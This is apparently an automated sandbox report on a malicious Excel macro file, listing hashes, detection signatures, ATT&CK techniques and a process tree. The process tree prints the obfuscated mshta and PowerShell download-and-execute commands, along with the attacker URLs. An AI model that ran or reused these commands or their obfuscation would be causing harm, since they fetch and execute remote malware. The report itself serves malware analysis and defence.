b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3

General

Target

96875558_5356176.xlsm
Size

115KB
MD5

ae463a7f0de640061802d78223d7424d
SHA1

d4809b8d5b09ede52d07f27485ed5d54bb7e4eca
SHA256

b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3
SHA512

ea7ab3c0d5641711e0600dac4c1bf6bcd9035715b529360d7027a1e64ae963b958b8b70d890dc027487cf138b3eb92862cb69a9875f34216e64a8a1facee2758

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3664	984	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	3356	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
984	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE
984	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 560	984	EXCEL.EXE	57
PID 984 wrote to memory of 560	984	EXCEL.EXE	57
PID 984 wrote to memory of 3664	984	EXCEL.EXE	59
PID 984 wrote to memory of 3664	984	EXCEL.EXE	59
PID 3664 wrote to memory of 3356	3664	cmd.exe	61
PID 3664 wrote to memory of 3356	3664	cmd.exe	61
PID 3356 wrote to memory of 4088	3356	mshta.exe	63
PID 3356 wrote to memory of 4088	3356	mshta.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\96875558_5356176.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:560
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:4088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2224

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 440 -p 3356 -ip 3356
1⤵
PID:3268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/984-130-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Filesize
64KB

Download
memory/984-131-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Filesize
64KB

Download
memory/984-132-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Filesize
64KB

Download
memory/984-133-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Filesize
64KB

Download
memory/984-134-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Filesize
64KB

Download
memory/984-137-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp

Filesize
64KB

Download
memory/984-138-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads